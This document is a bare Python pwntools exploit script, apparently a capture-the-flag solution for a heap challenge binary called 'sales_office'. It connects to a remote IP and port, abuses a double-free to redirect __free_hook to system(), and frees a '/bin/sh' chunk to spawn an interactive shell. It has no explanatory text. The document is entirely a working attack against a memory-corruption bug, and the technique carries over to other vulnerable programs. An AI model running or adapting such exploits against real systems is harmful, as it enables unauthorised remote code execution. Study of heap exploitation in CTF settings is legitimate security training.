1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * from LibcSearcher import LibcSearcher context.log_level = 'debug' context.arch = 'amd64' elf = ELF('sales_office') p = 0 def pwn(ip,port,debug): global p if(debug == 1): p = process('./sales_office')
else: p = remote(ip,port) def add(strlen,content): p.sendlineafter("choice:","1") p.sendlineafter("size of your house:\n",str(strlen)) p.sendlineafter("decorate your house:\n",content) def show(index): p.sendlineafter("choice:","3") p.sendlineafter("index:",str(index)) def free(index): p.sendlineafter("choice:","4") p.sendlineafter("index:",str(index)) add(0x10,"/bin/sh") p.sendlineafter("choice:","1") p.sendlineafter("size of your house:\n","200") free(0) free(0) free(1) add(0x10,p64(0x602080)) p.sendlineafter("choice:","1") p.sendlineafter("size of your house:\n","200") p.sendlineafter("choice:","1") p.sendlineafter("size of your house:\n","200") show(2) p.recvuntil("house:\n") libc_addr=u64(p.recv(6).ljust(8,"\x00")) free_hook=libc_addr+0x1188 system_addr=free_hook-0x39e4a8 free(1) free(1) p.sendlineafter("choice:","1") p.sendlineafter("size of your house:\n","200") free(1) print "libc_addr=",hex(libc_addr) add(0x10,p64(free_hook)) add(0x10,p64(system_addr)) add(0x10,"/bin/sh") free(4) #gdb.attach(p) p.interactive() if __name__ == '__main__': pwn('183.129.189.60',10024,0)
|